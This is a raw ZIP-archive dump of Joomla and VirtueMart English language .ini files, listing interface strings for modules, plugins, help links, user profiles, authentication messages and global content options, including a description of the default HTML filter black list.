MOD_QUICKICON_TEMPLATE_MANAGER="Template Manager" MOD_QUICKICON_TITLE="Quick Icons" MOD_QUICKICON_USER_MANAGER="User Manager" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" PK@y>\vSr,language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" PK@y>\|vv!language/en-GB/en-GB.mod_feed.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Feed Display" MOD_FEED_ERR_CACHE="Please make cache directory writable" MOD_FEED_ERR_NO_URL="No feed URL specified." MOD_FEED_FIELD_DESCRIPTION_DESC="Show the description text for the whole Feed" MOD_FEED_FIELD_DESCRIPTION_LABEL="Feed Description" MOD_FEED_FIELD_IMAGE_DESC="Show the image associated with the whole Feed" MOD_FEED_FIELD_IMAGE_LABEL="Feed image" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Show the Description or Intro text of individual RSS Items" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Item Description" MOD_FEED_FIELD_ITEMS_DESC="Enter number of RSS items to display" MOD_FEED_FIELD_ITEMS_LABEL="Items" MOD_FEED_FIELD_RSSTITLE_DESC="Display news feed title" MOD_FEED_FIELD_RSSTITLE_LABEL="Feed Title" MOD_FEED_FIELD_RSSURL_DESC="Enter the URL of the RSS/RDF/ATOM feed" MOD_FEED_FIELD_RSSURL_LABEL="Feed URL" MOD_FEED_FIELD_RTL_DESC="Display feed in RTL direction" MOD_FEED_FIELD_RTL_LABEL="RTL feed" MOD_FEED_FIELD_WORDCOUNT_DESC="Allows you to limit the amount of visible Item description text. 0 will show all the text" MOD_FEED_FIELD_WORDCOUNT_LABEL="Word Count" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" PK@y>\$;language/en-GB/en-GB.plg_vmpayment_moneybookers_wlt.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Digital Wallet"PK@y>\~.4language/en-GB/en-GB.plg_authentication_ldap.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\Ҳj )language/en-GB/en-GB.plg_user_profile.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT_CHANGE_ARTICLE="Select or Change article" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change" COM_CONTENT_SELECT_AN_ARTICLE="Select an Article" PLG_USER_PROFILE="User - Profile" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Choose an option for the field About Me." PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="About Me:" PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Choose an option for the field Address1" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Address 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Choose an option for the field Address2" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Address 2:" PLG_USER_PROFILE_FIELD_CITY_DESC="Choose an option for the field City" PLG_USER_PROFILE_FIELD_CITY_LABEL="City:" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Choose an option for the field Country" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="Country:" PLG_USER_PROFILE_FIELD_DOB_DESC="Choose an option for the field Date of Birth" PLG_USER_PROFILE_FIELD_DOB_LABEL="Date of Birth:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Choose an option for the field Favourite Book" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Favourite Book:" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="User profile fields for profile edit form" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="User profile fields for registration and administrator user forms" PLG_USER_PROFILE_FIELD_PHONE_DESC="Choose an option for the field Phone" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Phone:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Choose an option for the field Postal Code" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Postal / ZIP Code:" PLG_USER_PROFILE_FIELD_REGION_DESC="Choose an option for the field Region" PLG_USER_PROFILE_FIELD_REGION_LABEL="Region:" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC="Select the desired Terms of Service article from the list" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL="Select TOS Article:" PLG_USER_PROFILE_FIELD_TOS_DESC="Agree to terms of service" PLG_USER_PROFILE_FIELD_TOS_LABEL="Terms of Service:" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Choose an option for the field Web Site" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Web site:" PLG_USER_PROFILE_OPTION_AGREE="Agree" PLG_USER_PROFILE_SLIDER_LABEL="User Profile" PLG_USER_PROFILE_XML_DESCRIPTION="User Profile Plug-in" PK@y>\g$$language/en-GB/en-GB.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Error" MESSAGE="Message" NOTICE="Notice" WARNING="Warning" JADMINISTRATION="Administration" JADMINISTRATOR="Administrator" JALL="All" JALL_LANGUAGE="All" JAPPLY="Save" JARCHIVED="Archived" JAUTHOR="Author" JCANCEL="Cancel" JCATEGORIES="Categories" JCATEGORY="Category" JCLEAR="Clear" JCLIENT="Location" JCONFIG_PERMISSIONS_DESC="Default permissions used for all content in this component." JCONFIG_PERMISSIONS_LABEL="Permissions" JCURRENT="Current" JDATE="Date" JDEFAULT="Default" JDETAILS="Details" JDISABLED="Disabled" JENABLED="Enabled" JFALSE="False" JFEATURED="Featured" JHELP="Help" JHIDE="Hide" JINVALID_TOKEN="The most recent request was denied because it contained an invalid security token. Please refresh the page and try again." JLOGIN="Log in" JLOGOUT="Log out" JMODIFY="Modify" JNEVER="Never" JNEXT="Next" JNO="No" JNONE="None" JOFF="Off" JON="On" JOPTIONS="Options" JPREV="Prev" JPREVIOUS="Previous" JPROTECTED="Protected" JPUBLISHED="Published" JRECORD_NUMBER="Record Number" JREGISTER="Register" JSAVE="Save & Close" JSELECT="Select" JSTATUS="Status" JSHOW="Show" JSITE="Site" JSUBMIT="Submit" JTRASH="Trash" JTRASHED="Trashed" JTRUE="True" JUNARCHIVE="Remove from archive status" JUNDEFINED="Undefined" JUNPUBLISHED="Unpublished" JVERSION="Version" JYES="Yes" JACTION_ADMIN="Configure" JACTION_ADMIN_COMPONENT_DESC="Allows users in the group to edit the options of this extension." JACTION_ADMIN_GLOBAL="Super Admin" JACTION_ADMIN_GLOBAL_DESC="Allows users in the group to perform any action regardless of the settings." JACTION_COMPONENT_SETTINGS="Component Settings" JACTION_CREATE="Create" JACTION_CREATE_COMPONENT_DESC="Allows users in the group to create any content in this extension." JACTION_DELETE="Delete" JACTION_DELETE_COMPONENT_DESC="Allows users in the group to delete any content in this extension." JACTION_EDIT="Edit" JACTION_EDIT_COMPONENT_DESC="Allows users in the group to edit any content in this extension." JACTION_EDITOWN="Edit Own" JACTION_EDITOWN_COMPONENT_DESC="Allows users in the group to edit any content they submitted in this extension." JACTION_EDITSTATE="Edit State" JACTION_EDITSTATE_COMPONENT_DESC="Allows users in the group to change the state of any content in this extension." JACTION_LOGIN_ADMIN="Admin Login" JACTION_LOGIN_OFFLINE="Offline Access" JACTION_LOGIN_SITE="Site Login" JACTION_MANAGE="Access Administration Interface" JACTION_MANAGE_COMPONENT_DESC="Allows users in the group to access the administration interface for this extension." JBROWSERTARGET_MODAL="Modal" JBROWSERTARGET_NEW="Open in new window" JBROWSERTARGET_PARENT="Open in parent window" JBROWSERTARGET_POPUP="Open in popup" JERROR_ALERTNOAUTHOR="You are not authorised to view this resource." JERROR_AN_ERROR_HAS_OCCURRED="An error has occurred." JERROR_CORE_DELETE_NOT_PERMITTED="Delete not permitted" JERROR_INVALID_CONTROLLER="Invalid controller" JERROR_INVALID_CONTROLLER_CLASS="Invalid controller class" JERROR_LOADFILE_FAILED="Error loading form file" JERROR_LOADING_MENUS="Error loading Menus: %s" JERROR_LOGIN_DENIED="You do not have access to the administrator section of this site." JERROR_NO_ITEMS_SELECTED="No item(s) selected." JERROR_NOLOGIN_BLOCKED="Login denied! Your account has either been blocked or you have not activated it yet." JERROR_SAVE_FAILED="Could not save data. Error: %s" JFIELD_ACCESS_DESC="The access level group that is allowed to view this item." JFIELD_ACCESS_LABEL="Access" JFIELD_ALIAS_DESC="The Alias will be used in the SEF URL. Leave this blank and Joomla will fill in a default value from the title. This value will depend on the SEO settings (Global Configuration->Site).
      Using Unicode will produce UTF-8 aliases. You may also enter manually any UTF-8 character. Spaces and some forbidden characters will be changed to hyphens.
      When using default transliteration it will produce an alias in lower case and with dashes instead of spaces. You may enter the Alias manually. Use lowercase letters and hyphens (-). No spaces or underscores are allowed. Default value will be a date and time if the title is typed in non-latin letters ." JFIELD_ALIAS_LABEL="Alias" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Use a different layout from the supplied component view or overrides in the templates." JFIELD_ALT_LAYOUT_LABEL="Alternative Layout" JFIELD_ALT_MODULE_LAYOUT_DESC="Use a different layout from the supplied module or overrides in the templates." JFIELD_ALT_PAGE_TITLE_DESC="An optional alternative page title to set that will change the TITLE tag in the HTML output." JFIELD_ALT_PAGE_TITLE_LABEL="Alternative Page Title" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Text to display on login page" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Login Description Text" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Show or Hide Login Description" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Login Description" JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Text for logout page" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Logout Description Text" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Show or Hide Logout Description" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Logout Text" JFIELD_CATEGORY_DESC="The category that this item is assigned to." JFIELD_ENABLED_DESC="The enabled status of this item" JFIELD_KEY_REFERENCE_DESC="Used to store information referring to an external resource" JFIELD_KEY_REFERENCE_LABEL="Key Reference" JFIELD_LANGUAGE_DESC="Assign a language to this article." JFIELD_LANGUAGE_LABEL="Language" JFIELD_LOGIN_IMAGE_DESC="Image to display on login page" JFIELD_LOGIN_IMAGE_LABEL="Login Image" JFIELD_LOGIN_REDIRECT_URL_DESC="If an URL is entered here, users will be redirected to it after login. The URL must not be an external one." JFIELD_LOGIN_REDIRECT_URL_LABEL="Login Redirect" JFIELD_LOGOUT_IMAGE_DESC="Image to display on logout page" JFIELD_LOGOUT_IMAGE_LABEL="Logout image" JFIELD_LOGOUT_REDIRECT_URL_DESC="If an URL is entered here, users will be redirected to it after logout. The URL must not be an external one." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Logout Redirect" JFIELD_META_DESCRIPTION_DESC="An optional paragraph to be used as the description of the page in the HTML output. This will generally display in the results of search engines." JFIELD_META_DESCRIPTION_LABEL="Meta Description" JFIELD_META_KEYWORDS_DESC="An optional comma-separated list of keywords and/or phrases to be used in the HTML output." JFIELD_META_KEYWORDS_LABEL="Meta Keywords" JFIELD_META_RIGHTS_DESC="Describe what rights others have to use this content." JFIELD_META_RIGHTS_LABEL="Content Rights" JFIELD_METADATA_AUTHOR_DESC="The author of this content" JFIELD_METADATA_RIGHTS_DESC="Publication rights for the content" JFIELD_METADATA_RIGHTS_LABEL="Rights" JFIELD_METADATA_ROBOTS_DESC="Robots Instructions" JFIELD_METADATA_ROBOTS_LABEL="Robots" JFIELD_METADATA_XREFERENCE_DESC="An optional reference used to link to external data sources." JFIELD_METADATA_XREFERENCE_LABEL="Cross Reference" JFIELD_MODULE_LANGUAGE_DESC="Assign a language to this module." JFIELD_NOTE_DESC="Note" JFIELD_NOTE_LABEL="Note" JFIELD_OPTION_NONE="None" JFIELD_ORDERING_DESC="Select the ordering" JFIELD_ORDERING_LABEL="Ordering" JFIELD_PARAMS_LABEL="Options" JFIELD_PLG_SEARCH_ALL_DESC="Indicate whether to include published items in the search" JFIELD_PLG_SEARCH_ALL_LABEL="Search Published" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Indicate whether to include archived items in the search" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Search Archived" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Sets the maximum number of results to return." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Search Limit" JFIELD_PUBLISHED_DESC="Set publication status." JFIELD_READMORE_DESC="Add a custom text instead of Read More" JFIELD_READMORE_LABEL="Read More Text" JFIELD_SPACER_LABEL="
      " JFIELD_TITLE_DESC="Title" JFIELD_XREFERENCE_DESC="An optional field to allow this record to be cross-referenced to an external data system if required." JFIELD_XREFERENCE_LABEL="External Reference" JGLOBAL_ACROSS="Across" JGLOBAL_ACTION_PERMISSIONS_LABEL="Permissions" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Set the action permissions for this asset" JGLOBAL_ALL_ARTICLE="Max Levels Articles" JGLOBAL_ALL_LIST="Max Levels as List" JGLOBAL_ALLOW_COMMENTS_DESC="If Yes, viewers will be able to add and view comments for the article." JGLOBAL_ALLOW_COMMENTS_LABEL="Allow Comments" JGLOBAL_ALLOW_RATINGS_DESC="If Yes, viewers will be able to add and view ratings for the article." JGLOBAL_ALLOW_RATINGS_LABEL="Allow Ratings" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Please enter in a numeric character limit value. The introtext will be trimmed to the number of characters you enter." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL=" Intro text Limit" JGLOBAL_ARCHIVE_OPTIONS="Archive Options" JGLOBAL_ARTICLE_COUNT_DESC="Whether to show or hide a count of articles in each category." JGLOBAL_ARTICLE_COUNT_LABEL="Article Count" JGLOBAL_ARTICLE_MANAGER_ORDER="Ordering" JGLOBAL_ARTICLE_MUST_HAVE_TEXT="Article must have some content." JGLOBAL_ARTICLE_ORDER_DESC="The order that articles will show in." JGLOBAL_ARTICLE_ORDER_LABEL="Article Order" JGLOBAL_ARTICLES="Articles" JGLOBAL_AUTH_ACCESS_DENIED="Access Denied" JGLOBAL_AUTH_ACCESS_GRANTED="Access Granted" JGLOBAL_AUTH_BIND_FAILED="Failed binding to LDAP server" JGLOBAL_AUTH_CANCEL="Authentication cancelled" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Empty password not allowed" JGLOBAL_AUTH_FAIL="Authentication failed" JGLOBAL_AUTH_FAILED="Failed to authenticate: %s" JGLOBAL_AUTH_INCORRECT="Incorrect username/password" JGLOBAL_AUTH_INVALID_PASS="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_NO_BIND="Unable to bind to LDAP" JGLOBAL_AUTH_NO_CONNECT="Unable to connect to LDAP server" JGLOBAL_AUTH_NO_REDIRECT="Could not redirect to server: %s" JGLOBAL_AUTH_NO_USER="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_NOT_CREATE_DIR="Could not create the FileStore directory %s. Please check the effective permissions." JGLOBAL_AUTH_PASS_BLANK="LDAP can not have blank password" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Result Unknown. Access Denied" JGLOBAL_AUTH_USER_BLACKLISTED="User is blacklisted" JGLOBAL_AUTH_USER_NOT_FOUND="Unable to find user" JGLOBAL_AUTHOR_ALPHABETICAL="Author Alphabetical" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Author Reverse Alphabetical" JGLOBAL_AUTO="Auto" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Cannot find the destination parent for this move." JGLOBAL_BATCH_PROCESS="Process" JGLOBAL_BLOG="Blog" JGLOBAL_BLOG_LAYOUT_OPTIONS="Blog Layout Options" JGLOBAL_CATEGORIES_OPTIONS="Categories Options" JGLOBAL_CATEGORY_LAYOUT_DESC="Layout" JGLOBAL_CATEGORY_LAYOUT_LABEL="Choose a layout" JGLOBAL_CATEGORY_MANAGER_ORDER="Category Manager Order" JGLOBAL_CATEGORY_NOT_FOUND="Category not found" JGLOBAL_CATEGORY_OPTIONS="Category Options" JGLOBAL_CATEGORY_ORDER_DESC="The order that categories will show in." JGLOBAL_CATEGORY_ORDER_LABEL="Category Order" JGLOBAL_CENTER="Center" JGLOBAL_CHOOSE_CATEGORY_DESC="Choose a category from the list" JGLOBAL_CHOOSE_CATEGORY_LABEL="Choose a category" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Click to sort by this column" JGLOBAL_CLICK_TO_TOGGLE_STATE="Click on icon to toggle state." JGLOBAL_COPY="(copy)" JGLOBAL_CREATED="Created" JGLOBAL_CREATED_DATE="Created Date" JGLOBAL_DATE_FORMAT_DESC="Optional format string for showing the date. If left blank, it uses DATE_FORMAT_LC1 from your language file (for example, D M Y for day month year or you can use d-m-y for a short version eg. 10-07-10. See http://www.php.net/manual/en/function.date.php)." JGLOBAL_DATE_FORMAT_LABEL="Date Format" JGLOBAL_DESCRIPTION="Description" JGLOBAL_DISPLAY_NUM="Display #" JGLOBAL_DISPLAY_SELECT_DESC="Whether to show or hide the Display Select dropdown listbox." JGLOBAL_DISPLAY_SELECT_LABEL="Display Select" JGLOBAL_DOWN="Down" JGLOBAL_EDIT_ITEM="Edit item" JGLOBAL_EDIT_PREFERENCES="Edit Preferences" JGLOBAL_EMAIL="Email" JGLOBAL_EMPTY_CATEGORIES_DESC="Whether to show or hide categories that contain no articles and no subcategories." JGLOBAL_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JGLOBAL_FEED_SHOW_READMORE_DESC="Displays a "Read More" link in the newsfeeds if Intro Text is set to Show." JGLOBAL_FEED_SHOW_READMORE_LABEL="Show "Read More"" JGLOBAL_FEED_SUMMARY_DESC="If set to Intro Text, only the Intro Text of each article will show in the newsfeed. If set to Full Text, the whole article will show in the newsfeed." JGLOBAL_FEED_SUMMARY_LABEL="For each feed item show" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Categories that are within this category will be displayed" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Select a Top Level Category" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="If you enter some text in this field, it will override the Top Level Category Description, if it has one." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Top Level Category Description" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Uses another name than the author's for display" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Author's Alias" JGLOBAL_FIELD_CREATED_BY_DESC="The user who created this" JGLOBAL_FIELD_CREATED_BY_LABEL="Created by" JGLOBAL_FIELD_CREATED_DESC="Created Date" JGLOBAL_FIELD_CREATED_LABEL="Created Date" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="The number of minutes before the cache is refreshed." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Order" JGLOBAL_FIELD_ID_DESC="Record number in the database" JGLOBAL_FIELD_ID_LABEL="ID" JGLOBAL_FIELD_LAYOUT_DESC="Default layout to use for articles" JGLOBAL_FIELD_LAYOUT_LABEL="Choose a layout" JGLOBAL_FIELD_MODIFIED_LABEL="Modified Date" JGLOBAL_FIELD_MODIFIED_BY_DESC="The user who did the last modification" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modified by" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Number of categories to display for each level" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Number of categories" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="An optional date to Stop Publishing" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" JGLOBAL_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Start Publishing" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Show description of the top level category or optionally override with the text from the description field found in menu item. If using Root as top level category, the description field has to be filled." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Level Category Description" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Display Options" JGLOBAL_FIELDSET_METADATA_OPTIONS="Metadata Options" JGLOBAL_FIELDSET_OPTIONS="Options" JGLOBAL_FIELDSET_PUBLISHING="Publishing Options" JGLOBAL_FILTER_ATTRIBUTES_DESC="List additional attributes, separating each attribute name with a space or comma." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filter Attributes" JGLOBAL_FILTER_CLIENT="- Select Location -" JGLOBAL_FILTER_FIELD_DESC="Whether to show a Filter field for the list of articles. Select Hide to hide the filter field, or select which field you wish to filter on." JGLOBAL_FILTER_FIELD_LABEL="Filter Field" JGLOBAL_FILTER_GROUPS_DESC="This sets the user groups that you want filters applied to. Other groups will have no filtering performed." JGLOBAL_FILTER_GROUPS_LABEL="Filter Groups" JGLOBAL_FILTER_TAGS_DESC="List additional tags, separating each tag name with a space or comma." JGLOBAL_FILTER_TAGS_LABEL="Filter Tags" JGLOBAL_FILTER_TYPE_DESC="

      Black List allows all tags and attributes except for those in the black list.
      -- Tags for the Default Black List include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
      -- Attributes for the Default Black List include: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
      -- You can black list additional tags and attributes by adding to the Filter Tags and Filter Attributes fields, separating each tag or attribute name with a comma.
      -- Custom Black List allows you to override the Default Black List. Add the tags and attributes to be black listed in the Filter Tags and Filter Attributes fields.

      White List allows only the tags listed in the Filter Tags and Filter Attributes fields.

      No HTML removes all HTML tags from the content when it is saved.

      Please note that these settings work regardless of the editor that you are using.
      Even if you are using a WYSIWYG editor, the filtering settings may strip additional tags and attributes prior to saving information in the database.

      " JGLOBAL_FILTER_TYPE_LABEL="Filter Type" JGLOBAL_FULL_TEXT="Full Text" JGLOBAL_GT=">" JGLOBAL_HITS="Hits" JGLOBAL_INDEX_FOLLOW="Index, Follow" JGLOBAL_INDEX_NOFOLLOW="Index, No follow" JGLOBAL_INHERIT="Inherit" JGLOBAL_INTEGRATION_LABEL="Integration" JGLOBAL_INTRO_TEXT="Intro Text" JGLOBAL_ISFREESOFTWARE="%s is free software released under the GNU General Public License." JGLOBAL_LEAST_HITS="Least Hits" JGLOBAL_LEFT="Left" JGLOBAL_LINK_AUTHOR_DESC="If set to Yes, the Name of the article's Author will be linked to its contact page. You must create a contact linked to the author's user record for this to be ineffect. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_LINK_AUTHOR_LABEL="Link Author" JGLOBAL_LINK_CATEGORY_DESC="If set to Yes, and if Show Category is set to 'Show', the Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_CATEGORY_LABEL="Link Category" 